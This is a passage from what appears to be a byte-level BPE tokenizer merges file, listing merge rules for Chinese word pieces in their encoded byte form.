ī +çĥ§ çĥ¤ +å£ģ 纸 +æģ¶ åĮĸ +èĬ ¸ +èĥĸ åŃIJ +çĩ Ĵ +çľģ éĴ± +çϾ 强 +çIJĨå·¥ 大åѦ +éĴ¢ æĿIJ +åĽ½æľī èµĦ产 +æĪĺ æľº +æ³Ħ éľ² +åIJİéĿ¢ çļĦ +æ°´ èµĦæºIJ +æ¢ħ èĬ± +åĨĻ çĿĢ +ä¹ĭ 声 +æĹł åı¯ +æĺİ æľĿ +ç«ĭæĸ¹ ç±³ +ç· £ +æĶ¾ è¿ĩ +ç¦ı çͰ +å¾Ĺ ä½ı +åıĹ ä¼Ĺ +ä¸Ń 级 +çĹħ åıĺ +ä¸Ģ çŀ¬éĹ´ +æĿĥ éĩį +人æĢ§ åĮĸ +åĮ»çĸĹ åį«çĶŁ +ä¸įåΰ ä½į +æĻºèĥ½ å®¶å±ħ +饮 ç͍ +æ¼Ķ åıĺ +é«ĺ ç´łè´¨ +ä¹Ļ æĸ¹ +åģľ çķĻåľ¨ +èİ· æī¹ +ç©¿ æ¢Ń +客 åľº +æĮ½ åĽŀ +京 åŁİ +çĶŁåij½ åĬĽ +實 éļĽ +çĩ Ī +åĨį çݰ +çݰå®ŀ ä¸Ń +æľī ä¿¡å¿ĥ +çĸı éĢļ +åĺ´ åĶĩ +鼷 éĶĭ +èıľ åįķ +éħ ¯ +è¶ħ é«ĺ +å¾Ī é«ĺåħ´ +çĶŁ æ®ĸ +éĢł ä»· +误 åĮº +æĨ ĭ +好 æ¶Īæģ¯ +å´ Ń +以 èĩ´ +å¼Ģ çİ©ç¬ij +çĽij è§Ĩ +å·¡ å¯Ł +å¾· å·ŀ +æĹ© æĹ© +éĹª ç͵ +æĪª åĽ¾ +åı¯ä»¥ æł¹æį® +æīĭ èīº +æİ¥ 轨 +ç§į æĹı +æĢĢ éĩĮ +åİ» åĮ»éĻ¢ +ä¸Ģ äºĮ +å¼Ģ éĺĶ +åĩı éĢŁ +ä½Ĩ ä»İ +éĢĻ ä¸Ģ +åĩı åħį +主é¢ĺ æķĻèĤ² +å¼Ģå·¥ 建设 +è¹ ¦ +æľĪ 饼 +ä¸ĭ æ²ī +å°Ĭ 严 +éĻ ĩ +å®ŀ æľ¨ +å»ł åķĨ +声 ç§° +èĢĥ åľº +å¸ĥ é²ģ +èĩª æĿ¥ +èĩªæĿ¥ æ°´ +éĴ ¾ +å¹´ 以ä¸Ĭ +大 åıĶ +ä»ĸ å·²ç»ı +åħ¨ æĿij +èģĶç³» ç͵è¯Ŀ +为 导åIJij +åΤ å¤Ħ +对 éĺµ +缮 æ¨Ļ +åIJį é¢Ŀ +客 æ°Ķ +横 åIJij +çŃī åĨħ容 +åĩł çĤ¹ +è°Ī 论 +ä¸į ä¹ı +å±ķ çݰåĩº +è¾ĥ éķ¿ +éĢĨ 转 +å°ı æĻĤ +æĺ¯ å¤ļä¹Ī +æľ¬ æľĪ +è¿ij è§Ĩ +æĪIJç«ĭ 以æĿ¥ +代表 çĿĢ +æĬ¥ å¤į +æĪı æĽ² +è¨Ń åĤĻ +åħ¥ èĤ¡ +å¾ģ æľį +é«ĺ åĩº +èĪŀåı° ä¸Ĭ +å¿ĥ åĬ¨ +两 çĤ¹ +缸 çķ¶ +èĻ Ľ +主 页 +åĩł å®¶ +æĹł ä¸į +åįı å®ļ +æĸ IJ +å¯ĵ æĦı +åħ¨ 线 +æįķ é±¼ +åı¯ä»¥ ä»İ +æľī è¿Ļæł·çļĦ +æģ¶ éŃĶ +åĮħ åŃIJ +æģ ¤ +å¼Ģå¥ĸ ç»ĵæŀľ +ä¸į æŃ» +èĹ į +弯 æĽ² +æµ· 峡 +éĶĢ æ¯ģ +çļĦ çĭ¬çī¹ +示 æĦı +ä¸įèĥ½ åĨį +èĥ½ æĬĬ +éĺ² çº¿ +ä¸įå°ij äºİ +æ± Ģ +çļĦ éĤ£ä¸Ģ +羣 æĥħ +åŀ ® +被 æīĵ +åĽ½ å®ī +ç¾İ å¦Ļ +è¿Ļ åĩł +åĩº éģĵ +æľįåĬ¡ äºİ +æĪIJæŀľ 转åĮĸ +æīį åįİ +天 é¹ħ +åĩł 个人 +åĢĺ èĭ¥ +è̽ 误 +æĬĹ æĪĺ +è¡Į éĬ· +æĿ¥ è¢Ń +åĢŁ éĮ¢ +èįī èİĵ +ä¸¥æł¼ æī§è¡Į +举è¡Į äºĨ +å¤ĸ ç±į +å·² è¾¾ +æĿij åħļæĶ¯éĥ¨ +è¡ Ŀ +éĻį èĩ³ +æµ· éĩı +é¤IJ é¦Ĩ +æĢ¥ å¿Ļ +æ·± è¿ľ +å¾Ģ è¿Ķ +ç¨İåĬ¡ å±Ģ +å¹¿æ³Ľ åºĶç͍ +è®® åijĺ +æĹł æķĮ +çľ¼ åħī +çĥŃè¡Ģ ä¼łå¥ĩ +æŃ IJ +äºĨ äºĽ +è¿Ŀ èĥĮ +è¿Ļ æĺ¯ä¸Ģç§į +ä¸į 稳å®ļ +大家 åĪĨ享 +表 çı¾ +åīį åįģ +è·¯ è¿ĩ +æĴ © +åIJĮ æĥħ +ä¹ł ä¿Ĺ +åıij è´¢ +åºĶ æľīçļĦ +æĿİ æŁIJ +èĤ Ľ +马 åħĭ +éĢļ åijĬ +å·¨ 人 +ä¸Ģ åĽ¢ +éĢĻ æ¬¡ +ä¸į äºĨè§£ +æĸ½ è¡Į +èij¡èIJĦ çīĻ +åıĺå¾Ĺ æĽ´åĬł +æı £ +åĪĽæĸ° èĥ½åĬĽ +çķħ éĶĢ +表 æī¬ +æ¯Ķ åĪ© +æ¯ĶåĪ© æĹ¶ +åĮ»çĸĹ ä¿ĿéĻ© +æĵį 纵 +伤 亡 +æµİ å®ģ +åıĺ äºĨ +æľ¬æ¬¡ æ´»åĬ¨ +åľŁ 豪 +æĥ³ åĬŀæ³ķ +æĺ ķ +å½ĵ æĻļ +åĩº å±Ģ +çĥŃ è®® +è°Ī è°Ī +æĻĭ åįĩ +åĬ¿ å¿ħ +çĻ» å±± +éĤ£ åĦ¿ +åIJĥ åΰ +ä¹ĭ åŁİ +å¿« æĿ¥ +æ¹Ľ æ±Ł +第ä¸ī 个 +åħ¨éĿ¢ æıIJåįĩ +å¥ĸ åѦ +å¥ĸåѦ éĩij +æĬķåħ¥ 使ç͍ +é½IJ é²ģ +åı¯ä»¥ æĬĬ +åĴĮ ä»ĸçļĦ +è´ŃæĪ¿ èĢħ +æŃ£å¼ı åIJ¯åĬ¨ +åįİ æ¶¦ +ä¸įæĸŃ å®ĮåĸĦ +éĴ¢ æĿ¿ +ç´¯ 积 +满 èĦ¸ +åĽĽ æĸ¹ +è´¢ çī© +ä»ĸ们 ä¼ļ +å¤ı æĹ¥ +éĤ£ 个人 +éĿł çĿĢ +çĤ¹ äºĨ +çĤ¹äºĨ çĤ¹å¤´ +æ© ĭ +åıΠ好 +åıĪ好 åıĪ +åıĪ好åıĪ å¿« +éĺµ éĺµ +å°ģ 建 +æľ¬ çͰ +çī©ä¸ļ æľįåĬ¡ +èĩªè´¸ åĮº +åIJ ı +便åĪ© åºĹ +åĽ½å®¶ æłĩåĩĨ +éĿ¢ ç²ī +èī° è¾Ľ +æĶ» åħ³ +æīĵ åĮħ +车 éĺŁ +人 éĢī +åı¯ ä¸įæĺ¯ +äºĮ åįģå¹´ +åIJį å¸Ī +浦 举 +åħ¬ è¯ģ +è¿IJ éĢģ +æĺ¯ æľĢ好çļĦ +æŁĶ åĴĮ +çİĭ æŁIJ +çĹħ æĪ¿ +åĨ¶ éĩij +ä¸Ģä»¶ äºĭæĥħ +åį ¤ +åı¯ æİ§ +çī Ł +æĭ Ĥ +å·² äºİ +人 éĢł +çĶŁçī© åĮ»èᝠ+ä½ĵ çݰåĩº +èĤ² åĦ¿ +èĢģ å®ŀ +åľĸ çīĩ +è« ¸ +ç´¯ äºĨ +æĦŁåħ´è¶£ çļĦ +åĽ¾çīĩ æĿ¥æºIJ +ä¹Ł æĺ¯ä¸Ģç§į +æ¾İæ¹ĥ æĸ°éĹ» +æĹ¶ 表示 +åħī è¾ī +æĬ¥ åºŁ +å²ģ æĹ¶ +éħ ® +æ£Ģ ä¿® +åıĺ éĢŁ +åıĺéĢŁ ç®± +åľ¨ èģĮ +éı ¡ +æį Ĥ +çĿ£ åĬŀ +æ°¸ ä¸į +åģļ ä¸ĢäºĽ +åİĨ æĹ¶ +å·¥ç¨ĭ æľºæ¢° +æģ° å½ĵ +å°± åľ¨äºİ +ç§° åij¼ +éĢļ常 æĺ¯ +æł· å¼ı +åij¨ ä¸Ģ +èĭ± éķij +åĿĩ 线 +ä¼ł éĹ» +ç͍æĪ· ä½ĵéªĮ +èµŀ åIJĮ +骨 æĬĺ +为主 ä½ĵ +æ±Ł å±± +æ¸ħ æľĿ +æĶĢ åįĩ +ä¸į çĽ¸ä¿¡ +éĿ ´ +æŃ¦ åĬŁ +åĭ¤ åĬ³ +æĿ¥ æī¾ +å°Ĩ æĮģç»Ń +丫 头 +æ¨Ļ æºĸ +è£ ´ +深深 çļĦ +åŃķ èĤ² +è§ĦåĪĴ 建设 +æ¸ħ çν +ç²¾åĩĨ æī¶è´« +æīĵçł´ äºĨ +è¿Ļä¸Ģ 天 +å·¥ä½ľ æĢ»ç»ĵ +æĹħ ç¨ĭ +举 èIJ¥ +æĶ¾ å°Ħ +æľī åĩłä¸ª +éĿŀ çī©è´¨ +åIJĥ å¾Ĺ +åĹ ¨ +ä¼ļ åıijçĶŁ +篮 æĿ¿ +å¼Ģ å°ģ +麻 å°Ĩ +èıı æ³½ +ä¸į åIJĪ +ç³»åĪĹ äº§åĵģ +èѬ å¦Ĥ +ç¾İ èªī +èĩªå·± åĸľæ¬¢ +交æĺĵ ä¸Ńå¿ĥ +åIJĪ åͱ +使 æĪij +åĥı ç´ł +带 éĺŁ +ä½Ĩ 对äºİ +æĬĬ è¿Ļ个 +èĤĿ èĦı +åįķ纯 çļĦ +æĶ»åĿļ æĪĺ +缼 ä¼ļ +åijµ æĬ¤ +æª Ģ +èµ¶ ä¸Ĭ +æ¥ Ĭ +ä¹ħ äºĨ +ç¡ Ŀ +çŃĶ é¢ĺ +ä¿ĿæĮģ çĿĢ +è§ģ è¯Ĩ +çĤ¹ åĦ¿ +åįĬ 个æľĪ +æ» ĩ +浸 泡 +ä¼ł éĢģ +åľ¨ å¸Ĥåľºä¸Ĭ +ä¹ĭ 乡 +çī¹ éķ¿ +éĽ ŀ +èª ł +身 å¤Ħ +æŁł 檬 +身 ç©¿ +çľģ åħ¬å®ī +çľģåħ¬å®ī åİħ +åıĻ åĪ©äºļ +åĩł åĪĨéĴŁ +人 åĢij +åľ° 段 +èĩª åѦ +ä¹Ł è¶ĬæĿ¥è¶Ĭ +èģĮ æĿĥ +æĸ § +èĩ » +å½Ĵ 纳 +驾 é©Ń +éĥ¨åĪĨ åľ°åĮº +没æľī æĥ³åΰ +æĴ ĩ +ä¹Į é²ģ +ä¹Įé²ģ æľ¨ +ä¹Įé²ģæľ¨ é½IJ +èĤ² 人 +çļĦ æŃ¥ä¼IJ +å»¶ æľŁ +æ²¹ æ°Ķ +åģļ å®Į +åľ£ åľ° +丰 åİļ +宽 带 +åı¯éĿł çļĦ +åºŃ éĻ¢ +åŃ ľ +å°ı康 社ä¼ļ +å®īåħ¨ 管çIJĨ +å¹´ 第 +æİĴ 污 +èĥĮ åĮħ +å®¶ ä½ı +åħ¶å®ŀ å°±æĺ¯ +ä¼ļ è§ģ +帮åĬ© ä¼ģä¸ļ +ç½ij è´Ń +æĺ¯ ä¸įä¼ļ +飯 åºĹ +æŃ» åİ» +åħįçĸ« åĬĽ +æľ ķ +åĸĿ äºĨ +è½» å¾® +个æľĪ åĨħ +ç»Ħ åĽ¢ +åĴĮ å®ĮåĸĦ +é¸ ½ +æıIJ éĢŁ +西å®ī å¸Ĥ +ä¸Ńå¿ĥ 主任 +æĹ¶éĹ´ 为 +æľŁ æĿĥ +è¶ ķ +ä¸įä»ħ è¦ģ +æľį ä»İ +é¡ĺ æĦı +ä¸į å°ı +ä¸įå°ı çļĦ +ç° ĩ +çª ¦ +åĪĩ æĪIJ +åĵĪ åĪ© +天 羣 +ä¸Ģ次 次 +éĩij å¸ģ +æĢİä¹Ī èĥ½ +ç½ij è´· +ä¼ļ计 å¸Ī +çŁŃ 缺 +对 æłĩ +åıĺå¾Ĺ æĽ´ +åīį åĩłå¤© +éĺ² æ±Ľ +彩 èϹ +åĵģ ä½į +表 æł¼ +严 å¯Ĩ +æ¯Ľ åĪ©çİĩ +çļĦ åį±å®³ +å½ķ åζ +æ°´ åĬ¡ +èĥ½å¤Ł 让 +å¹³ æĿ¿ +ä¹³ æĪ¿ +è¸ı å®ŀ +é¦ĸ åĪĽ +é¦Ļ èķī +æĬ¥ 表 +ä¸Ģ æĬ¹ +åĩºçĶŁ äºİ +è²» ç͍ +åĩº 让 +åIJĪæ³ķ æĢ§ +å°¼ åħĭ +åĨ° åĨ· +é¦Ļ æ°Ķ +åı· ç§° +èµ· çłģ +åŁİ åİ¿ +çİ© èĢį +ä¸Ĭ éĻIJ +ä¼ļè®® ç²¾ç¥ŀ +æĹģè¾¹ çļĦ +便 ä¼ļ +æıŃ æĻĵ +çİ© æĦı +éĽª å±± +åIJij çĿĢ +ä½ĵèĤ² åľ¨çº¿ +说æĺİ ä¹¦ +åĮĸ èĤ¥ +åħļç»Ħ 书记 +åĬ¨ 人 +ä¹ĭ æīĢ +æľĪ èĩ³ +æľĢå¿« çļĦ +èĬĤ åģĩæĹ¥ +ä¸ĵ åľº +èĢĥ ä¸Ĭ +çª Ł +é²ľ è¡Ģ +è¾ĥ强 çļĦ +æĤĦ çĦ¶ +å¤ļ个 åĽ½å®¶ +çªĹ å¸ĺ +æŀģ å¤§åľ° +ä¸įç͍ æĭħå¿ĥ +è¿Ļä¹Ī åģļ +åĥ¹ æł¼ +ç¾İ丽 乡æĿij +å°ıæĹ¶ åĨħ +ç´§ è¿« +大 çģ« +èĥ³ èĨĬ +æĵįä½ľ ç³»ç»Ł +æ®ĭ çķĻ +åĨĻ åĩº +ç¦ģ å¿Į +åĬłçĽŁ åºĹ +è¿ij çϾ +便 åı¯ +æķ´æĶ¹ æİªæĸ½ +éĩĩ访 æĹ¶ +åĶIJ 代 +æ·±åĮĸ æĶ¹éĿ© +çŁ ¢ +éĥ½ åĸľæ¬¢ +è¶ĬæĿ¥è¶Ĭ é«ĺ +èĬ± æľµ +头 çĸ¼ +å®ī 康 +å¢ŀéķ¿ çİĩ +çľ¼ çľĭ +å°±æĺ¯ 为äºĨ +èĢĮ 导èĩ´ +åĬłå¿« 建设 +èĬ± æł· +åĨħå¿ĥ çļĦ +æĺĨ å±± +è³ĩ æºIJ +åĽŀåΰ å®¶ +èıĬ èĬ± +æ°´ éĩı +å¾ģ ä¿¡ +è¡ĮæĶ¿ åĮº +ä¹ĥ æĺ¯ +æĬķèµĦ é¡¹çĽ® +å«ģ ç»Ļ +ç¥ŀ åľ£ +ç¨ ł +æľ¬æĿ¥ å°± +éĢIJ ä¸Ģ +èģĮä¸ļ æĬĢæľ¯ +ä¸įèī¯ ä¿¡æģ¯ +æīĺ è¿IJ +åIJ¯ 示 +ä¹ĭ åħ§å®¹ +éŁ ¶ +奢 åįİ +æıŃ ç¤º +æĪIJ为 ä¸ŃåĽ½ +æ¶Īè´¹ åĵģ +åħ¬ ç͍ +æIJŀ å®ļ +请 ä½ł +æŁ ļ +åĨħ è¡£ +ä½Ĩ ä»ĸ们 +ä¿Ŀ 湿 +该 åİ¿ +饱 åĴĮ +æİ¨ åIJij +èµĦæĸĻ æĺ¾ç¤º +ä¸į å½±åĵį +人 人éĥ½ +åıijå±ķ 壮大 +åħ»èĢģ æľįåĬ¡ +çĶŁæ´» æ°´å¹³ +åIJĦ åİ¿ +ä½ł éľĢè¦ģ +说 çļĦæĺ¯ +å¤ĸ åªĴ +æŃ¤ 人 +次 è¦ģ +追 èµ¶ +åºĶ该 å¦Ĥä½ķ +æĹ¥ åĩĮæĻ¨ +çķ¥ æľī +éĥ½ æĥ³ +游 ä¹IJ +è¿Ļ款 游æĪı +å¹³ æ·¡ +æĺ¯ä¸Ģ åĢĭ +å¤ĩ èĢĥ +åζ æŃ¢ +ä¸Ģå®ļ èĥ½ +å¾Ĵ å¼Ł +以 çĤº +åįĥ åħĥ +äºĶ åħŃ +迪 士 +迪士 å°¼ +éĺ³ æĢ§ +åĨ¬å¥¥ ä¼ļ +å°±æĺ¯ åĽłä¸º +æĮĤ éĴ© +æ¦Ĥ åĨµ +åıªè¦ģ æľī +æ²¹ çĶ» +åľ° æłĩ +ä¸Ĭ è°ĥ +产ä¸ļ åĽŃåĮº +åħ« åįģ +æ£ ± +æ¶² æĻ¶ +æĿij å§Ķä¼ļ +çŃ¾çº¦ 仪å¼ı +è¿Ļ åħ¶ä¸Ń +åĨĻ éģĵ +示èĮĥ åŁºåľ° +éĩİçĶŁ åĬ¨çī© +鼻åŃIJ ä¿¡ç®± +åĽ½éĻħ è´¸æĺĵ +人 æĿĥ +ä¿Ŀ 管 +èĭ¥ æĤ¨ +åİĭ æĬij +é» Ľ +åľ° çľĭçĿĢ +éĻ ° +ä¸Ģå¹´ å¤ļ +ä»İ 容 +ä¸Ń æĸŃ +å¯Ł è§ī +ç§» 交 +éĶ ¯ +æĪĸ许 æĺ¯ +ç¶ ł +两 项 +æľĢ åĸľæ¬¢ +æľĢåĸľæ¬¢ çļĦ +å¤ľ éĩĮ +åIJĮ ä»ģ +åĪĽæĸ° 驱åĬ¨ +è°ģ èĥ½ +é£ ¾ +åħī åѦ +åİ Ħ +èĦ± é¢ĸ +èĦ±é¢ĸ èĢĮåĩº +è¿ ¦ +æĺ¯ ä¸įåı¯èĥ½ +çª ¥ +èĥ½ 满足 +宽 度 +伦 çIJĨ +åı¯ä»¥ èİ·å¾Ĺ +转 ä¼ļ +å±± æĿij +éĵº 设 +åĩº åĩ» +æĸĩåĮĸ èīºæľ¯ +ä¼ļè®® 室 +æŃĮ 声 +æ» Ķ +èIJİ ç¼© +æľįåĬ¡ åijĺ +åıij表 äºĨ +æĸ¼ æĺ¯ +æĺİç¡® è§Ħå®ļ +ç»´ å¥ĩ +æ°´ 产 +æĬķ ä¿Ŀ +éĺ´ éģĵ +èµ¶ å¿« +夺 å¾Ĺ +ä¸ĭ åįķ +çµģ åħ¬åı¸ +çݯ ç»ķ +å½ Ī +ä½ľé£İ 建设 +æĹħ游 æĻ¯åĮº +æľī æĽ´å¤ļçļĦ +丰å¯Į å¤ļ彩 +çIJĨè´¢ 产åĵģ +åĩº å·® +ä»İ严 æ²» +ä»İ严治 åħļ +缸 å¹² +æ»ĭ 润 +主åĬŀ æĸ¹ +åī§ åľº +æ»ļ çIJĥ +æ©Ħ æ¦Ħ +èĩªä¸» åĪĽæĸ° +éĢļ å¾Ģ +æł¼ å°Ķ +çļĦ ä¼ĺçĤ¹ +èĥĮ ä¸Ĭ +çª ľ +çĪĨ åĩº +å¹³ æķ´ +ä¸Ģ èĦļ +åħ¨ä½ĵ åijĺå·¥ +éĻIJ å®ļ +åŁİéķĩ åĮĸ +æ· ³ +éĢ® æįķ +è¡ĮåĬ¨ 计åĪĴ +æīĵ å¾Ĺ +åİļ éĩį +纪å½ķ çīĩ +åĿļ ä¿¡ +央 ä¼ģ +åĨį ä¹Łä¸į +天 涯 +åıĤèĢĥ èµĦæĸĻ +æľī æ¯Ĵ +åIJ¸ 纳 +è¶Ĭ åıij +éĩįè¦ģ æĦıä¹ī +åĽ½éĺ² éĥ¨ +è¿Ļ个 è¡Įä¸ļ +æĻ® æŁ¥ +å¼Ĥ æĢ§ +å»¶ è¿Ł +å°ı å¹ħ +èī² æĥħ +综åIJĪ æ²»çIJĨ +æŃ£æĺ¯ åĽłä¸º +产ä¸ļ ç»ĵæŀĦ +çłĶç©¶ æĬ¥åijĬ +åģľ ä¸ĭ +éķ¿ èĢģ +éĩĿ å°į +åįĹ京 å¸Ĥ +çģĮ æºī +转 è¿IJ +欺 è¯Ī +éĢł åģĩ +åĪĨå¸ĥ å¼ı +æĦŁ è§¦ +æĪij å½ĵæĹ¶ +åıij è§ī +åĽ¾ 纸 +æĶ¹ èī¯ +çĭł çĭł +åĨ² åĪº +æĸ° 京 +æĸ°äº¬ æĬ¥ +ç¥ŀ åύ +秸 ç§Ĩ +çĪ º +å°Ĩ è¿İæĿ¥ +å·¥ ä¿¡ +工信 éĥ¨ +éĻIJ éĩı +æŃ¢ æįŁ +åѦä¼ļ äºĨ +åįİ çĽĽ +åįİ缼 é¡¿ +å¾Į ä¾Ĩ +ä¸ĭéĿ¢ æĺ¯ +ä¸ĭéĿ¢æĺ¯ å°ı +æIJ¬ è¿IJ +ç¾İæľ¯ é¦Ĩ +æ¸ħ åĩī +å¤ļå¹´ åīį +è© ŀ +åįĥ ç±³ +表 è¿° +æ±Ł éŨ +åĬłæ²¹ ç«Ļ +æľ¬ èĥ½ +导 读 +åĽ´ è§Ĥ +å¹¶ åIJij +åŁºæľ¬ æĥħåĨµ +æīĵ å¼ĢäºĨ +è¿Ļ ä¸ī个 +æ±ķ 头 +强 æľīåĬĽ +强æľīåĬĽ çļĦ +è¿Ľ åľº +ä¹Ŀ æ±Ł +çIJĥ æĺŁ +好çľĭ çļĦ +大 æĪ· +æ¹ ¯ +å¥ĩ å¦Ļ +ä¹IJ åύ +æĪijçļĦ å¿ĥ +çľī 头 +åĨľä¸ļ çĶŁäº§ +ç¼ĸ çłģ +åŁº ç¤ +åŁºç¤ İ +天 æĸĩ +åĢĭ人 è³ĩè¨Ĭ +åİ» è¿ĩ +èģĨ åIJ¬ +æĶ¾ åģĩ +ä¸į åħ·å¤ĩ +æ·Ģ ç²ī +大 佬 +åħ¨ 天 +åħ¨éĿ¢ 建æĪIJ +éļIJ å½¢ +ç¼ħ ç͏ +åIJ ³ +è¡ĮæĶ¿ æī§æ³ķ +åŁİ åł¡ +èİ« æĸ¯ +èİ«æĸ¯ ç§ij +æīĢæľī æĿĥ +éĽĨ åľĺ +å±Ģ åī¯å±Ģéķ¿ +åĩłä¹İ 没æľī +æ´ģ åĩĢ +ç͵影 èĬĤ +åŃ© ç«¥ +æīĢ åģļçļĦ +æ¸ħ 代 +æĸ° çīĪ +éĵĿ åIJĪéĩij +为 æĬĵ +为æĬĵ æīĭ +åΤ å®ļ +çī¹ äº§ +æīĭ æ©Ł +ä¸įåı¯ æĪĸ +ä¸įåı¯æĪĸ 缺 +å¸Ĥåľº è§Ħ模 +åĿ ¯ +åĮ» åѦéĻ¢ +å¿« è¦ģ +èĮ ľ +æĬĺ èħ¾ +äºĨ è¿ĩæĿ¥ +æĬ¥åijĬ æľŁåĨħ +çī© ç§į +ç»Łè®¡ å±Ģ +æī© 建 +æ¶ ħ +责任 人 +éĺ İ +è¯Ħ è®® +å¾Ģ äºĭ +æīĢ ç¤º +æķ´ æ´ģ +éĹº èľľ +æĹħ éĢĶ +å®ŀ è®Ń +ä¹ĭ ç§° +å·´ 士 +éĢŁåº¦ å¿« +ä¸įä»ħ å¦ĤæŃ¤ +å®Ŀè´µ çļĦ +åºŁ çī© +æ²³ æ°´ +æİ¥ 纳 +ç²¾ æ¹Ľ +åħ¶æ¬¡ æĺ¯ +顺 å¾· +åħ¬åħ± åį«çĶŁ +è¤IJ èī² +ä¸į æĥľ +æĬĢæľ¯ æľįåĬ¡ +æİ · +æ±Ĥ èģĮ +ä¸ī 峡 +æĬķåħ¥ åΰ +太 åIJİ +åIJ¯åĬ¨ 仪å¼ı +缴æİ¥ å½±åĵį +æĸ° 款 +个 乡éķĩ +çϾ 亿 +åº « +ä¹Ł æŃ£æĺ¯ +åı¶ çīĩ +æľĢæĹ© çļĦ +æĪĺ 绩 +å·¥ æľŁ +æĻļ æľŁ +è¿Ļæł· 说 +è¯į è¯Ń +ä¾ Ħ +æķ£ çĥŃ +éĽĨæĪIJ çĶµè·¯ +åIJį è¯į +æĻº åķĨ +æĭ¥ åłµ +çĭĤ 欢 +è¿Ļ èά +æµ´ 室 +åijķ åIJIJ +æľªæĿ¥ åıijå±ķ +ä¸īä½į ä¸Ģä½ĵ +åªĴ é«Ķ +ä¸įå¾Ĺ 转载 +åĽłä¸º 她 +æĺ¾ç¤º å±ı +ä¾Ľ æļĸ +éĨ« éĻ¢ +æľī æĦıæĢĿ +æľīæĦıæĢĿ çļĦ +娱ä¹IJ åŁİ +åįµ å·¢ +åĪĽéĢł åĬĽ +竳 èĬĤ +人大 常å§Ķ +èĢĮ çİ°åľ¨ +å¤ĸ å©Ĩ +å¢ŀ æĮģ +äºĶ åįĥ +èĢģå¸Ī 们 +æ´Ľ æĿī +æ´ĽæĿī 磶 +æİĮæı¡ äºĨ +ä¸ŃåĽ½ æĸĩåĮĸ +æĸ° æĶ¿ +主è¦ģ ç͍äºİ +åıij çĥ§ +类似 äºİ +åĮĹ æŀģ +æĪij们 认为 +å¼¥ 漫 +åħ¨çIJĥ ç»ıæµİ +é¢ IJ +ä¸Ģèµ· è£ħä¿® +æĶ Ĵ +æĭī èIJ¨ +帶 ä¾Ĩ +åĨ· æ°´ +ä¸ī åĨľ +æĿ¿ æĿIJ +è¿ŀ è¿ŀ +éĵ ® +ç»ıèIJ¥ çIJĨ念 +å±± é¡¶ +å¾Ī æĥ³ +çĺ « +å§ĭç»Ī ä¿ĿæĮģ +åľ¨ 广å·ŀ +ä¸įåIJĮ æĦı +åıĺ åİĭ +åıĺåİĭ åύ +产 éĶĢ +表 éĿ¢ä¸Ĭ +æīĢ以 ä»ĸ +ç»ıéªĮ 丰å¯Į +éĥ¨ å§Ķ +åħµ åĽ¢ +æīĢ è¿° +æķ¦ çħĮ +ç»ıèIJ¥ èĮĥåĽ´ +åı£ è¯Ń +失 ä¿¡ +æ¯ı个人 çļĦ +æīĭ æĮģ +æģIJ æħĮ +åł¡ åŀĴ +é¦ ħ +éĵ¸ éĢł +æĭ¿ åĩºæĿ¥ +æİ¢ æµĭ +大家 ä¸Ģèµ· +å¥ § +å®ŀè´¨ æĢ§ +å°ı åĦ¿ +èĩº åįĹ +èĩºåįĹ å¸Ĥ +å¼Ģåıij èĢħ +åı¯ æł¹æį® +ç®± åŃIJ +饺 åŃIJ +å¿Ļ çĿĢ +æĿ¥ ä¸įåıĬ +缸 ä¼ł +åĽ½ ç½ij +èħ¹ æ³» +è¿ĻéĩĮ æľī +é£İ æĻ¯åĮº +åıĤ ä¿Ŀ +æŃ» èĢħ +æĪ´ ä¸Ĭ +æ©Ł æ§ĭ +è¯ķéªĮ åĮº +ä¼ł æİĪ +æµ· è¾¹ +泪 æ°´ +缸åħ³ åĨħ容 +éĥij å·ŀå¸Ĥ +åħij çݰ +两 åij¨ +èĬľ æ¹ĸ +ç͵åŃIJ ä¿¡æģ¯ +红 å¤ĸ +æĹħ游 å±Ģ +å¾Ģå¾Ģ ä¼ļ +è¿ħ çĮĽ +ä¼ł 羣 +æ¸ħ æ¾Ī +å°± è¿ij +微信 群 +ç³»åĪĹ æ´»åĬ¨ +ç»ı常 ä¼ļ +è§Ĥ æµĭ +å¿ĥå¾Ĺ ä½ĵä¼ļ +éĻĪ åĪĹ +åĮĹ æĸĹ +è« ® +è«® è©¢ +è¿ĺæĺ¯ ä¼ļ +æµĭ ç®Ĺ +æĺŁ ç©º +宽 容 +çī©ä¸ļ åħ¬åı¸ +æĪĴ æĮĩ +å¸ħ æ°Ķ +ä¸ĢæŃ¥ æŃ¥ +åħ± 鸣 +åĨ³ ä¸į +æİ¥ 管 +å¦ĩ èģĶ +æ¯Ķ åĸ» +é²ģ è¿ħ +æĮģ çºĮ +缸 亲 +å¨ģå°¼æĸ¯ 人 +ç«ĭ 项 +åĪ Ŀå§ĭ +èĩª åζ +è¿Ī è¿Ľ +ä¸Ĭ æ±½ +å®ı ä¼Ł +æł¹æľ¬ 没æľī +æĸ°åĨł çĹħæ¯Ĵ +åĵª ç§į +康 åħ» +è¡° èĢģ +å½ķ åĥı +é«Ķ é©Ĺ +ç»ij å®ļ +é¢Ŀ 头 +äºĶ æľĪ +èĬ± å¼Ģ +ä¸Ģ线 åŁİå¸Ĥ +åΰ åľº +æĬķ éĻį +çĹĺ çĹĺ +åıĹ ä¸įäºĨ +æīİ æł¹ +æĽ´ ä½ķåĨµ +æĬ½ æŁ¥ +åĩº è·¯ +审议 éĢļè¿ĩ +ä¸į åĥħ +èī² è°ĥ +çϾ ä½Ļ +èĤł éģĵ +æ·±åİļ çļĦ +马 åĬĽ +æĹ© æĻļ +æŃĮ èĪŀ +éĺ² æĻĴ +æľĢåIJİ ä¸Ģ个 +樱 èĬ± +å°ıä¼Ļ åŃIJ +åľ¨ å½ĵåľ° +å°ıä¼Ļä¼´ 们 +èµ· æºIJ +åħ¨ åªĴä½ĵ +ç° ½ +éħ± æ²¹ +æĹłè®º å¦Ĥä½ķ +裤 åŃIJ +åģľ äº§ +ä¸įçͱ å¾Ĺ +çīµ å¼ķ +ä¼ł åĬ¨ +ä¹Ŀ é¾Ļ +åĬł åĽº +ä¹Łä¸į æķ¢ +æĬĢæľ¯ æĶ¯æĮģ +ä¸Ĭ å²Ĺ +ç»ıéªĮ åĴĮ +æł¼ æŀĹ +åIJ¸ éĻĦ +æľªæĪIJ å¹´ +奢ä¾Ī åĵģ +追 æį§ +好 ä¸į容æĺĵ +èķ´ åIJ« +ä¿Ŀ å®ļ +æĬ¥ ä¸ļ +æµ· åĨħå¤ĸ +ä½ł çİ°åľ¨ +æ²¹ èĢĹ +è´¨éĩı 管çIJĨ +æ½ľ æ°´ +丽 æ±Ł +转 åħ¥ +è¿Ļä¹Ī ä¹ħ +æĺİ ä»£ +责任 åζ +éĩį å·¥ +大 